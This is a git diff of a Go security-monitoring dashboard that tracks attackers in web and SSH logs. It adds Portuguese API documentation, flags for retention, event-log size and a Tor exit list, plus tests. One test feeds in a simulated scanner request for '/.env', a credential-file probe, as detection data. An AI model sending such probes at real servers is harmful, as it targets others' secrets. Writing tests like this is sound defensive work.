<p align="center"><img src="../img/ip-analysis-dark-pt.png" width="900" alt="Página de análise de IP de um atacante"><br><sub>Análise de IP: veredito, evidências e ações recomendadas.</sub></p>
- **Análise de IP** (`#/ip/<ip>`, aberta a partir de qualquer IP): o veredito com suas razões, ações recomendadas, famílias de ataque e técnicas MITRE ATT&CK, tipo de rede, cadência, sessões com seu estágio, campanhas, exposição, o histórico de eventos e um download STIX 2.1.
- **Replay** (`#/replay`): um período reproduzido no mapa com a lista ordenada de eventos e a linha do tempo do incidente, a partir do registro de eventos.
- **Fontes e hosts:** cada instância com seu estado (online, latência, versão), cada fonte de log com seu estado (`following`, `waiting`, `backfill`, `error`), linhas lidas, linhas malformadas e último evento (os caminhos dos arquivos não são mostrados), e a **blocklist**: escolha uma pontuação mínima (padrão 50), copie ou baixe. Ela só lista endereços hostis e globalmente roteáveis (nunca faixas de `--ignore` ou `--trusted`, nunca um IP com login SSH bem-sucedido); o IPv6 aparece como o /64, escrito `x:x:x:x::/64`.
<p align="center"><img src="../img/sources-dark-pt.png" width="900" alt="Página Fontes e hosts: instâncias, fontes de log e blocklist"><br><sub>Fontes e hosts.</sub></p>
<p align="center"><img src="../img/overview-light.png" width="620" alt="Visão geral no tema claro"> <img src="../img/overview-mobile.png" height="420" alt="Visão geral no celular"><br><sub>O tema claro no desktop e o layout de celular (uma barra de abas substitui a lateral).</sub></p>
## Atribuição
Dados de geolocalização de IP por [DB-IP](https://db-ip.com), licenciados sob [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/). O crédito também aparece no rodapé do dashboard.
Os limites de estados e cidades da página Geografia são do [Natural Earth](https://www.naturalearthdata.com), domínio público. Dados de geolocalização de IP por [DB-IP](https://db-ip.com), licenciados sob [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/). O crédito também aparece no rodapé do dashboard.
## Rotas HTTP
@@ -41,13 +63,25 @@ Dados de geolocalização de IP por [DB-IP](https://db-ip.com), licenciados sob
| `GET /api/health` | nenhuma | `{"status":"ok"}` |
| `GET /login`, `POST /login`, `POST /logout` | nenhuma | sessão |
| `GET /` e os arquivos estáticos | sessão | o dashboard |
| `GET /api/v1/summary` | sessão ou bearer | tudo o que o dashboard mostra. Query: `range` (`1h`, `24h`, `7d`), `host` (`all`, um nome) |
| `GET /api/v1/summary` | sessão ou bearer | tudo o que o dashboard mostra. Query: `range` (qualquer intervalo nomeado) ou `from` e `to`, `host` (`all`, um nome) |
| `GET /api/v1/traffic` | sessão ou bearer | web analytics do tráfego legítimo. Query: `range`, `domain` (`all` ou um domínio), `host`. Retorna visitantes, páginas, requisições, bots, bytes, classes de status, `p50_ms`, `p95_ms`, linha do tempo, top de páginas, referrers, países, cidades, navegadores, sistemas operacionais, dispositivos e nomes de bots |
| `GET /api/v1/peer/export` | só token de peer | federação: `{"v":1,"summary":...,"traffic":{...}}` com os 500 IPs principais e seus detalhes. Query: `range` (`1h`, `24h`, `7d`). Cache de 5 s. 404 sem token de peer, 401 para `URUTAU_TOKEN`, 403 de origem fora de `--peer-allow` |
| `GET /api/v1/geo` | sessão ou `URUTAU_TOKEN` | geografia dos atacantes. Sem `cc`: `{"countries":[{"cc","events","ips","hostile","suspicious","cats"}]}` (até 250). Com `cc=XX` (e opcionalmente `region`): `{"cc","events","ips","hostile","suspicious","cats","regions":[...],"cities":[{"name","region","lat","lon","events","ips"}],"top_ips":[...]}` (64 regiões, 200 cidades, 50 IPs). Query: `range`, `host`. Cache de 5 s |
| `GET /api/v1/live/recent` | sessão ou `URUTAU_TOKEN` | `{"events":[...]}`: os últimos eventos maliciosos desta instância e dos peers, do mais novo ao mais velho, no formato do stream. Query: `limit` (padrão 200, máximo 500) |
| `GET /api/v1/peer/stream` | só token de peer | federação ao vivo: eventos maliciosos desta instância por SSE. No máximo 10 conexões; mesmas regras 404/401/403 do export |
| `GET /api/v1/peer/export` | só token de peer | federação: `{"v":1,"summary":...,"traffic":{...}}` com os 500 IPs principais e seus detalhes. Query: `range` ou `from`/`to`. Cache de 5 s. 404 sem token de peer, 401 para `URUTAU_TOKEN`, 403 de origem fora de `--peer-allow` |
| `GET /api/v1/events` | sessão ou bearer | eventos do registro, do mais novo ao mais antigo. Query: `range` ou `from`/`to`, `host`, `ip`, `cat`, `fam`, `q`, `order`, `limit`, `cursor` |
| `GET /api/v1/events/sessions` | sessão ou bearer | sessões (rajadas com estágio) do período, opcionalmente de um `ip` |
| `GET /api/v1/period` | sessão ou bearer | o estudo de um período: sessões, campanhas, técnicas vistas pela primeira vez, escaladas, picos, novos vs recorrentes, principais alvos, famílias, técnicas, usuários e ASNs. Query: `range` ou `from`/`to`, `host`, `gap` (segundos entre sessões, 30 a 86400) |
| `GET /api/v1/period/events` | sessão ou bearer | os eventos de um período no formato do stream, para o replay |
| `GET /api/v1/metrics` | sessão ou bearer | métricas estáveis (veja [arquitetura.md](arquitetura.md)). Query: `range` ou `from`/`to`, `host` |
| `GET /api/v1/ip/{ip}/stix` | sessão ou bearer | bundle STIX 2.1 de um IP |
| `GET /api/v1/peer/period` | só token de peer | federação: o estudo que um hub mescla. No máximo dois ao mesmo tempo (503 com `Retry-After` caso contrário) |
| `GET /api/v1/ips` | sessão ou bearer | tabela de IPs. Query: `range`, `host`, `min_score`, `level`, `q`, `banned=1`, `sort` (`score`, `last`, `first`, `events`, `ip`), `order=asc`, `per` (1 a 200, padrão 50), `page` |
| `GET /api/v1/ip/{ip}` | sessão ou bearer | detalhe de um IP, mesclado com os exports dos peers |
| `GET /api/v1/ip/{ip}` | sessão ou bearer | análise resumida de um IP: veredito com razões, ações, famílias, técnicas, tipo de rede, cadência, sessões e exposição; mesclada com os peers. Query: `range` ou `from`/`to` (padrão 30d) |
| `GET /api/v1/events/stream` | sessão ou bearer | Server-Sent Events, evento `ev`, um ping a cada 20 s |
| `GET /api/v1/blocklist.txt` | sessão ou bearer | um IP por linha. Query: `min_score` (padrão 50), `range` (padrão `7d`), `host`, `family` (`4`, `6`; padrão ambos; `4` serve ao `ipset hash:ip`), `download=1` |
| `GET /api/v1/blocklist.json` | sessão ou bearer | `{"generated","min_score","count","ips":[{"ip","score","last","hosts"}]}`; o `ip` de uma entrada IPv6 é um prefixo `/64` |
Clientes da API enviam `Authorization: Bearer <URUTAU_TOKEN>`. O token de peer só é aceito por `/api/v1/peer/export`; todas as outras rotas respondem 403 a ele.
Um `range` ou período inválido responde 400, e `range` nas respostas é um objeto `{name,from,to,step,clipped}` (`step` é a granularidade da linha do tempo em segundos).
Clientes da API enviam `Authorization: Bearer <URUTAU_TOKEN>`. O token de peer só é aceito por `/api/v1/peer/export`, `/api/v1/peer/stream` e `/api/v1/peer/period`; todas as outras rotas respondem 403 a ele.
+15
View File
@@ -413,3 +413,18 @@ func TestDefaultIgnoreCoversPrivateRanges(t *testing.T) {
}
}
}
func TestLocationFlagIsValidated(t *testing.T) {
for _, tc := range []struct {
v string
ok bool
}{{"", true}, {"-8.05,-34.9", true}, {"-8.05,-34.9,Recife", true}, {"95,0", false}, {"x", false}} {
c, err := ParseFlags("t", []string{"--location", tc.v})
if err != nil {
t.Fatal(err)
}
if _, err := c.Validate("zK3vQ9xT2mLp7WdR4nYb8HsJ6cFg1UaE5oXi0VtN"); (err == nil) != tc.ok {
t.Errorf("%q: %v", tc.v, err)
}
}
}
+73 -26
View File
@@ -9,37 +9,69 @@ import (
"os"
"path/filepath"
"regexp"
"strconv"
"strings"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/fed"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
)
// Config is the runtime configuration of `urutau serve` and `urutau doctor`.
type Config struct {
Bind string
Name string
DataDir string
TraefikLog string
AuthLog string
Fail2banLog string
Ignore string // networks whose events are dropped (--ignore, alias of --trusted)
Trusted string // trusted sources, e.g. the servers themselves (--trusted)
MonitorUA string // regex of monitoring User-Agents
MonitorFrom string // networks monitors come from (empty: any source)
Domains string // optional allowlist of analytics domains
AdminUsers string // SSH users whose logins grant admin immunity (empty: any user)
PeerTokens []string // tokens accepted by /api/v1/peer/export
PeerTokenFor map[string]string // per peer name (upper case) token used by the hub
GeoDir string // directory of the geo databases (default <data-dir>/geo)
GeoUpdate time.Duration
Peers []string
PeerToken string
PeerAllow string // CIDRs allowed to call /api/v1/peer/export (empty: any source with the token)
TrustedProxy string // proxies whose X-Forwarded-For is believed
Retention time.Duration
NoAuth bool
Bind string
Name string
DataDir string
TraefikLog string
AuthLog string
Fail2banLog string
Ignore string // networks whose events are dropped (--ignore, alias of --trusted)
Trusted string // trusted sources, e.g. the servers themselves (--trusted)
MonitorUA string // regex of monitoring User-Agents
MonitorFrom string // networks monitors come from (empty: any source)
Domains string // optional allowlist of analytics domains
AdminUsers string // SSH users whose logins grant admin immunity (empty: any user)
PeerTokens []string // tokens accepted by /api/v1/peer/export
PeerTokenFor map[string]string // per peer name (upper case) token used by the hub
GeoDir string // directory of the geo databases (default <data-dir>/geo)
GeoUpdate time.Duration
Peers []string
PeerToken string
Location string // "lat,lon" or "lat,lon,label" (--location)
PeerBlocklist string // "on" (default) or "off"
PeerAllow string // CIDRs allowed to call /api/v1/peer/export (empty: any source with the token)
TrustedProxy string // proxies whose X-Forwarded-For is believed
Retention time.Duration
TorExits string // file with Tor exit addresses, one per line; empty disables the check
EventsMax string // size cap of the event registry ("512MB", "0" disables it)
NoAuth bool
}
// DefaultEventsMax is the default size cap of the event registry.
const DefaultEventsMax = "512MB"
// ParseSize reads "512MB", "1GiB", "2g", "1048576" (bytes) into bytes.
func ParseSize(v string) (int64, error) {
v = strings.TrimSpace(strings.ToLower(v))
if v == "" {
return 0, fmt.Errorf("empty size")
}
mult := int64(1)
for _, u := range []struct {
suf string
m int64
}{{"gib", 1 << 30}, {"mib", 1 << 20}, {"kib", 1 << 10}, {"gb", 1 << 30}, {"mb", 1 << 20}, {"kb", 1 << 10}, {"g", 1 << 30}, {"m", 1 << 20}, {"k", 1 << 10}, {"b", 1}} {
if strings.HasSuffix(v, u.suf) {
mult, v = u.m, strings.TrimSpace(strings.TrimSuffix(v, u.suf))
break
}
}
n, err := strconv.ParseFloat(v, 64)
if err != nil || n < 0 || n > 1<<40 {
return 0, fmt.Errorf("invalid size %q", v)
}
return int64(n * float64(mult)), nil
}
type listFlag []string
@@ -103,7 +135,7 @@ func ParseFlags(name string, args []string) (Config, error) {
mfrom := &csvFlag{val: env("URUTAU_MONITOR_FROM", "")}
doms := &csvFlag{val: env("URUTAU_DOMAINS", "")}
admins := &csvFlag{val: env("URUTAU_ADMIN_USERS", "")}
fs.Var(admins, "admin-users", "SSH users whose successful logins keep their IP out of the blocklist for 24 h; empty means any user (URUTAU_ADMIN_USERS)")
fs.Var(admins, "admin-users", "SSH users whose successful logins keep their IP out of the blocklist for 24 h; empty means nobody is immune (URUTAU_ADMIN_USERS)")
fs.Var(mfrom, "monitor-from", "networks the monitoring User-Agents come from; empty trusts the User-Agent alone for benign hits (URUTAU_MONITOR_FROM)")
fs.Var(doms, "domains", "analytics domain allowlist, exact names or *.example.com; empty tracks every domain that answers 2xx/3xx (URUTAU_DOMAINS)")
fs.StringVar(&c.GeoDir, "geo-dir", env("URUTAU_GEO_DIR", ""), "geo database directory, default <data-dir>/geo (URUTAU_GEO_DIR)")
@@ -115,7 +147,11 @@ func ParseFlags(name string, args []string) (Config, error) {
tproxy := &csvFlag{val: env("URUTAU_TRUSTED_PROXY", DefaultTrustedProxy)}
fs.Var(allow, "peer-allow", "CIDRs allowed to call /api/v1/peer/export, empty allows any source with the token (URUTAU_PEER_ALLOW)")
fs.Var(tproxy, "trusted-proxy", "reverse proxies whose X-Forwarded-For is trusted for the real client IP (URUTAU_TRUSTED_PROXY)")
fs.DurationVar(&c.Retention, "retention", 7*24*time.Hour, "how long data is kept, at most 168h (URUTAU_RETENTION)")
fs.StringVar(&c.Location, "location", env("URUTAU_LOCATION", ""), `where this instance lives, "lat,lon" or "lat,lon,label"; shown as the destination of live arcs (URUTAU_LOCATION)`)
fs.StringVar(&c.PeerBlocklist, "peer-blocklist", env("URUTAU_PEER_BLOCKLIST", "on"), "on: the blocklist also lists strong hostile IPs seen only by peers; off: local IPs only (URUTAU_PEER_BLOCKLIST)")
fs.DurationVar(&c.Retention, "retention", store.DefaultRetention, "how long data is kept, at most 720h (URUTAU_RETENTION)")
fs.StringVar(&c.TorExits, "tor-exits", env("URUTAU_TOR_EXITS", ""), "file with Tor exit node addresses, one per line, reloaded every 24 h when it changes; empty disables (URUTAU_TOR_EXITS)")
fs.StringVar(&c.EventsMax, "events-max", env("URUTAU_EVENTS_MAX", DefaultEventsMax), "size cap of the event registry in <data-dir>/events, 0 disables it (URUTAU_EVENTS_MAX)")
fs.BoolVar(&c.NoAuth, "insecure-no-auth", false, "disable authentication; only allowed on a loopback bind")
if v := os.Getenv("URUTAU_GEO_UPDATE"); v != "" {
if d, err := time.ParseDuration(v); err == nil {
@@ -168,6 +204,12 @@ func ParseFlags(name string, args []string) (Config, error) {
// Validate checks the configuration and returns the parsed peers.
func (c Config) Validate(token string) ([]fed.Peer, error) {
if _, err := store.ParseLocation(c.Location); err != nil {
return nil, err
}
if v := strings.ToLower(c.PeerBlocklist); v != "" && v != "on" && v != "off" {
return nil, fmt.Errorf("--peer-blocklist must be on or off")
}
var peers []fed.Peer
seen := map[string]bool{}
envSeen := map[string]string{}
@@ -194,8 +236,13 @@ func (c Config) Validate(token string) ([]fed.Peer, error) {
return nil, fmt.Errorf("--monitor-ua: %w", err)
}
}
if c.Retention < time.Hour {
return nil, fmt.Errorf("--retention must be at least 1h")
if c.Retention < time.Hour || c.Retention > store.DefaultRetention {
return nil, fmt.Errorf("--retention must be between 1h and 720h")
}
if c.EventsMax != "" {
if _, err := ParseSize(c.EventsMax); err != nil {
return nil, fmt.Errorf("--events-max: %w", err)
}
}
if c.NoAuth {
if !loopbackBind(c.Bind) {
+32 -3
View File
@@ -9,6 +9,7 @@ import (
"net/http"
"os"
"os/signal"
"path/filepath"
"runtime/debug"
"strings"
"sync"
@@ -16,6 +17,7 @@ import (
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/evlog"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/fed"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/geo"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/rdns"
@@ -35,13 +37,24 @@ func Serve(c Config) error {
return err
}
if os.Getenv("GOMEMLIMIT") == "" {
debug.SetMemoryLimit(160 << 20)
debug.SetMemoryLimit(SoftMemoryLimit)
}
ctx, stop := signal.NotifyContext(context.Background(), syscall.SIGTERM, syscall.SIGINT)
defer stop()
st := store.New(store.Config{Name: c.Name, Version: Version, Retention: c.Retention, AdminUsers: c.AdminUserList()})
loc, _ := store.ParseLocation(c.Location) // validated above
st := store.New(store.Config{Name: c.Name, Version: Version, Retention: c.Retention, AdminUsers: c.AdminUserList(), Location: loc})
st.SetDomains(splitList(c.Domains))
watchTorExits(ctx, c.TorExits, 24*time.Hour, log)
var elog *evlog.Log
if max, err := ParseSize(orDefault(c.EventsMax, DefaultEventsMax)); err == nil && max > 0 {
if elog, err = evlog.Open(evlog.Options{Dir: filepath.Join(c.DataDir, "events"), MaxBytes: max, Retention: c.Retention, Log: log}); err != nil {
log.Warn("event registry unavailable, replay disabled", "err", err)
elog = nil
} else {
st.SetEventLog(elog)
}
}
rd := rdns.New()
st.SetRDNS(rd)
offsets := LoadState(st, c.DataDir, log)
@@ -62,13 +75,14 @@ func Serve(c Config) error {
var hub *fed.Hub
if len(peers) > 0 {
hub = fed.NewHub(peers, c.PeerToken)
hub.OnLive = st.RecordPeerEvent
}
allow, _ := core.ParseCIDRs(c.PeerAllow)
tproxy, _ := core.ParseCIDRs(c.TrustedProxy)
ign, _ := core.ParseCIDRs(c.Ignore + "," + c.Trusted)
bindHost, _, _ := net.SplitHostPort(c.Bind)
h := server.New(server.Options{Token: token, PeerTokens: c.PeerTokens, PeerAllow: allow, TrustedProxy: tproxy, Ignore: ign,
AllowHosts: []string{bindHost}, NoAuth: c.NoAuth, Version: Version, Store: st, Hub: hub})
AllowHosts: []string{bindHost}, NoAuth: c.NoAuth, LocalBlocklist: strings.EqualFold(c.PeerBlocklist, "off"), Version: Version, Store: st, Hub: hub})
ln, err := net.Listen("tcp", c.Bind)
if err != nil {
return err
@@ -76,6 +90,10 @@ func Serve(c Config) error {
srv := server.HTTPServer(h, ctx)
var wg sync.WaitGroup
if elog != nil {
wg.Add(1)
go func() { defer wg.Done(); elog.Run(ctx) }()
}
runner.Start(ctx, offsets, &wg)
wg.Add(2)
go func() { defer wg.Done(); rd.Run(ctx) }()
@@ -159,3 +177,14 @@ func splitList(s string) []string {
}
return out
}
// SoftMemoryLimit is the Go soft memory limit when GOMEMLIMIT is not set; see
// the worst case measurements in the store tests.
const SoftMemoryLimit = 256 << 20
func orDefault(v, def string) string {
if v == "" {
return def
}
return v
}
+89
View File
@@ -0,0 +1,89 @@
package app
import (
"bufio"
"context"
"errors"
"fmt"
"log/slog"
"net/netip"
"os"
"strings"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/intel"
)
const (
maxTorFile = 8 << 20
maxTorExits = 100000
)
// LoadTorExits reads a file with one address per line (blank lines and #
// comments are skipped, invalid lines ignored, at most 100000 addresses).
func LoadTorExits(path string) ([]netip.Addr, error) {
f, err := os.Open(path)
if err != nil {
return nil, err
}
defer f.Close()
if st, err := f.Stat(); err != nil || !st.Mode().IsRegular() {
return nil, errors.New("not a regular file")
} else if st.Size() > maxTorFile {
return nil, fmt.Errorf("file larger than %d bytes", maxTorFile)
}
var out []netip.Addr
sc := bufio.NewScanner(f)
sc.Buffer(make([]byte, 0, 4096), 4096)
for sc.Scan() && len(out) < maxTorExits {
l := strings.TrimSpace(sc.Text())
if i := strings.IndexByte(l, '#'); i >= 0 {
l = strings.TrimSpace(l[:i])
}
if a, err := netip.ParseAddr(l); err == nil && a.Zone() == "" {
out = append(out, a.Unmap())
}
}
return out, sc.Err()
}
// watchTorExits loads the list now and again every interval when the file
// changed. An empty path keeps the feature off.
func watchTorExits(ctx context.Context, path string, every time.Duration, log *slog.Logger) {
if path == "" {
return
}
var lastMod time.Time
var lastSize int64 = -1
load := func() {
st, err := os.Stat(path)
if err != nil {
log.Warn("tor exit list unavailable", "err", err)
return
}
if st.ModTime().Equal(lastMod) && st.Size() == lastSize {
return
}
addrs, err := LoadTorExits(path)
if err != nil {
log.Warn("tor exit list unreadable", "err", err)
return
}
intel.SetTorExits(addrs)
lastMod, lastSize = st.ModTime(), st.Size()
log.Info("tor exit list loaded", "n", len(addrs))
}
load()
go func() {
t := time.NewTicker(every)
defer t.Stop()
for {
select {
case <-ctx.Done():
return
case <-t.C:
load()
}
}
}()
}
+45
View File
@@ -0,0 +1,45 @@
package app
import (
"testing"
"time"
)
func TestRetentionEventsMaxFlags(t *testing.T) {
c, err := ParseFlags("serve", nil)
if err != nil || c.Retention != 720*time.Hour || c.EventsMax != "512MB" {
t.Fatalf("defaults %v %+v", err, c)
}
c, _ = ParseFlags("serve", []string{"--events-max", "1GiB", "--retention", "100h"})
if n, err := ParseSize(c.EventsMax); err != nil || n != 1<<30 || c.Retention != 100*time.Hour {
t.Fatal(c.EventsMax, c.Retention)
}
t.Setenv("URUTAU_EVENTS_MAX", "64m")
c, _ = ParseFlags("serve", nil)
if n, _ := ParseSize(c.EventsMax); n != 64<<20 {
t.Fatal("env")
}
tok := "tok-0123456789-abcdefghijklmnopqrstuvwxyz-QWERTY"
base := Config{Bind: "0.0.0.0:1", Ignore: DefaultIgnore, TrustedProxy: DefaultTrustedProxy, Retention: 720 * time.Hour}
if _, err := base.Validate(tok); err != nil {
t.Fatal(err)
}
base.Retention = 721 * time.Hour
if _, err := base.Validate(tok); err == nil {
t.Fatal("retention over 720h must be refused")
}
base.Retention, base.EventsMax = 720*time.Hour, "lots"
if _, err := base.Validate(tok); err == nil {
t.Fatal("bad --events-max must be refused")
}
for in, want := range map[string]int64{"512MB": 512 << 20, "0": 0, "2g": 2 << 30, "1048576": 1 << 20, "1.5kb": 1536} {
if n, err := ParseSize(in); err != nil || n != want {
t.Errorf("%s: %d %v", in, n, err)
}
}
for _, bad := range []string{"", "-1", "x", "1xb"} {
if _, err := ParseSize(bad); err == nil {
t.Errorf("%q must fail", bad)
}
}
}
+106
View File
@@ -0,0 +1,106 @@
package app
import (
"context"
"encoding/json"
"log/slog"
"net/http"
"net/http/httptest"
"net/netip"
"os"
"path/filepath"
"strings"
"testing"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/geo"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/intel"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/server"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
)
const realGeo = "/tmp/claude-1000/-home-lucas-Documents-Pessoal-keys/cd25aef5-8f8d-45f2-8ce0-f6644a45cb62/scratchpad/geo/real"
// Known addresses against the real DB-IP Lite databases: the ASN is filled and
// the network type follows. Skipped where the databases are not available.
func TestNetTypeWithRealGeoDatabases(t *testing.T) {
if _, err := os.Stat(realGeo); err != nil {
t.Skip("real geo databases not available")
}
gr, err := geo.Open(realGeo)
if err != nil {
t.Fatal(err)
}
st := store.New(store.Config{Name: "o", Retention: 720 * time.Hour})
st.SetEnricher(enricher{g: gr})
h := server.New(server.Options{Token: "user-token-0123456789-abcdefghijklmnop", Version: "t", Store: st})
cases := []struct {
ip string
asn float64
typ string
orgPart string
}{
{"159.89.1.1", 14061, "hosting", "DigitalOcean"},
{"78.46.1.1", 24940, "hosting", "Hetzner"},
{"129.146.1.1", 31898, "hosting", "Oracle"},
{"189.6.1.1", 28573, "isp/mobile", "Claro"}, // Brazilian residential/mobile operator
{"71.6.135.131", 10439, "research-scanner", "CariNet"},
}
for _, c := range cases {
st.Ingest(core.Event{Time: time.Now(), IP: c.ip, Cat: core.Scanner, Source: "traefik", Method: "GET", Path: "/.env", Status: 404})
r := httptest.NewRequest("GET", "/api/v1/ip/"+c.ip, nil)
r.Header.Set("Authorization", "Bearer user-token-0123456789-abcdefghijklmnop")
r.RemoteAddr = "198.51.100.1:1"
w := httptest.NewRecorder()
h.ServeHTTP(w, r)
var d map[string]any
if err := json.Unmarshal(w.Body.Bytes(), &d); err != nil || w.Code != 200 {
t.Fatalf("%s: %d %s", c.ip, w.Code, w.Body)
}
id := d["identity"].(map[string]any)
if id["asn"].(float64) != c.asn || id["net_type"] != c.typ || !strings.Contains(id["as_org"].(string), c.orgPart) || id["net_type_reason"] == "" {
t.Errorf("%s: %v", c.ip, id)
}
if d["geo"].(map[string]any)["cc"] == "" {
t.Errorf("%s: no country", c.ip)
}
}
// the Tor exit list changes the type of a listed address
a := netip.MustParseAddr("159.89.1.1")
intel.SetTorExits([]netip.Addr{a})
defer intel.SetTorExits(nil)
if typ, _ := intel.NetTypeIP(a, 14061, "DigitalOcean, LLC", ""); typ != "tor" {
t.Fatalf("tor exit: %s", typ)
}
}
func TestTorExitsFile(t *testing.T) {
p := filepath.Join(t.TempDir(), "tor.txt")
os.WriteFile(p, []byte("# exits\n185.220.101.1\n\n 2001:db8::5 # v6\nnot-an-ip\n10.0.0.1%eth0\n185.220.101.2\n"), 0o600)
l, err := LoadTorExits(p)
if err != nil || len(l) != 3 {
t.Fatalf("%v %v", l, err)
}
big := filepath.Join(t.TempDir(), "big.txt")
os.WriteFile(big, []byte(strings.Repeat("1.2.3.4\n", 2<<20)), 0o600)
if _, err := LoadTorExits(big); err == nil {
t.Fatal("oversized file must be refused")
}
if _, err := LoadTorExits(t.TempDir()); err == nil {
t.Fatal("a directory is not a list")
}
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
defer intel.SetTorExits(nil)
watchTorExits(ctx, p, time.Hour, slog.New(slog.NewTextHandler(os.Stderr, nil)))
if !intel.IsTorExit(netip.MustParseAddr("185.220.101.1")) {
t.Fatal("exit list not applied")
}
watchTorExits(ctx, "", time.Hour, nil) // off: nothing happens
c, _ := ParseFlags("serve", []string{"--tor-exits", p})
if c.TorExits != p {
t.Fatal("flag")
}
_ = http.StatusOK
}
+197
View File
@@ -0,0 +1,197 @@
package app
import (
"encoding/json"
"io"
"log/slog"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"testing"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/evlog"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/server"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/tail"
)
const (
scratch = "/tmp/claude-1000/-home-lucas-Documents-Pessoal-keys/cd25aef5-8f8d-45f2-8ce0-f6644a45cb62/scratchpad"
tokV4 = "user-token-0123456789-abcdefghijklmnop"
)
// ingestLogs feeds the three log files through the runner, like a backfill.
func ingestLogs(t *testing.T, st *store.Store, dir string) {
t.Helper()
c := Config{Name: st.Name(), Ignore: DefaultIgnore, MonitorUA: DefaultMonitorUA, Retention: 720 * time.Hour, TrustedProxy: DefaultTrustedProxy,
TraefikLog: filepath.Join(dir, "access.log"), AuthLog: filepath.Join(dir, "auth.log"), Fail2banLog: filepath.Join(dir, "fail2ban.log")}
r, err := NewRunner(c, st, slog.New(slog.NewTextHandler(io.Discard, nil)))
if err != nil {
t.Fatal(err)
}
for _, s := range r.Sources {
if _, err := os.Stat(s.path); err != nil {
continue
}
if err := tail.ReadAll(s.path, maxLine, r.handle(s), func() {}); err != nil {
t.Fatal(err)
}
}
}
func newLogged(t *testing.T) *store.Store {
st := store.New(store.Config{Name: "edge-1", Version: "t", Retention: 720 * time.Hour})
l, err := evlog.Open(evlog.Options{Dir: filepath.Join(t.TempDir(), "events")})
if err != nil {
t.Fatal(err)
}
st.SetEventLog(l)
return st
}
func detail(t *testing.T, st *store.Store, ip string) map[string]any {
h := server.New(server.Options{Token: tokV4, Version: "t", Store: st})
r := httptest.NewRequest("GET", "/api/v1/ip/"+ip, nil)
r.Header.Set("Authorization", "Bearer "+tokV4)
r.RemoteAddr = "198.51.100.1:1"
w := httptest.NewRecorder()
h.ServeHTTP(w, r)
if w.Code != http.StatusOK {
t.Fatalf("%s: %d %s", ip, w.Code, w.Body)
}
var m map[string]any
if err := json.Unmarshal(w.Body.Bytes(), &m); err != nil {
t.Fatal(err)
}
return m
}
func sum(series map[string]any) (total float64, buckets int) {
var rows [][]any
for _, v := range series {
rows = append(rows, v.([]any))
}
if len(rows) == 0 {
return
}
for i := range rows[0] {
var b float64
for _, r := range rows {
b += r[i].(float64)
}
total += b
if b > 0 {
buckets++
}
}
return
}
func num(m map[string]any, k string) float64 { f, _ := m[k].(float64); return f }
// checkConsistent asserts that every section of the detail view of the most
// hostile address of a data set tells the same story.
func checkConsistent(t *testing.T, st *store.Store, wantEvents bool) {
t.Helper()
ips := st.AllIPs(store.Ranges["30d"], false)
if len(ips) == 0 {
t.Fatal("no addresses")
}
top := ips[0].IP
d := detail(t, st, top)
counts := d["counts"].(map[string]any)
first, last := num(d, "first"), num(d, "last")
tm := d["time"].(map[string]any)
if ad, span := num(tm, "active_days"), num(tm, "span_days"); ad < 1 || ad > span || span != float64(int((last-first)/86400)+1) {
t.Errorf("%s: active_days %v span_days %v first %v last %v", top, ad, span, first, last)
}
ssh := d["ssh"].(map[string]any)
if num(ssh, "fails") != num(counts, "ssh-fail") {
t.Errorf("%s: ssh.fails %v vs counter %v", top, ssh["fails"], counts["ssh-fail"])
}
if num(counts, "ssh-fail") > 0 && len(ssh["users"].([]any)) == 0 && num(d, "events") == 0 {
t.Errorf("%s: ssh failures but no users", top)
}
if jails, _ := d["jails"].([]any); len(jails) > 0 {
active := 0
for _, b := range d["bans"].([]any) {
if b.(map[string]any)["active"] == true {
active++
}
}
if active != len(jails) {
t.Errorf("%s: %d active bans for %d jails: %v", top, active, len(jails), d["bans"])
}
}
if len(d["sessions"].([]any)) == 0 {
t.Errorf("%s: no sessions for an address with %v events", top, counts)
}
if len(d["techniques"].([]any)) == 0 || len(d["families"].([]any)) == 0 {
t.Errorf("%s: techniques/families empty: %v / %v", top, d["techniques"], d["families"])
}
if len(d["events"].([]any)) == 0 {
t.Errorf("%s: events empty", top)
}
tl := d["timeline"].(map[string]any)
total, buckets := sum(tl["series"].(map[string]any))
if total == 0 {
t.Errorf("%s: timeline is empty", top)
}
if wantEvents {
if d["timeline_source"] != "events" || d["sessions_source"] != "events" || d["events_source"] != "events" {
t.Errorf("%s: sources %v %v %v", top, d["timeline_source"], d["sessions_source"], d["events_source"])
}
lg := d["log"].(map[string]any)
logEvents, n := num(lg, "events"), num(lg, "sessions_events")
if n != logEvents || total != logEvents || num(tm, "sessions_n") != num(lg, "sessions_n") {
t.Errorf("%s: sessions %v timeline %v log %v must agree", top, n, total, logEvents)
}
if tm["active_days"].(float64) > 1 && buckets < 2 {
t.Errorf("%s: timeline in %d bucket(s) for %v active days", top, buckets, tm["active_days"])
}
// the timeline sits at the hours of the events, not at the time of the ingestion
step, start := num(tl, "step"), num(tl, "start")
for i, v := range tl["series"].(map[string]any)["scanner"].([]any) {
if v.(float64) > 0 {
if at := start + float64(i)*step; at < first-3600 || at > last+3600 {
t.Errorf("%s: bar at %v outside [%v, %v]", top, at, first, last)
}
}
}
} else if d["sessions_source"] != "counters" || d["events_source"] != "counters" {
t.Errorf("%s: without a registry the sections must say counters: %v %v", top, d["sessions_source"], d["events_source"])
}
// a snapshot restored next to an empty registry (events before the registry existed)
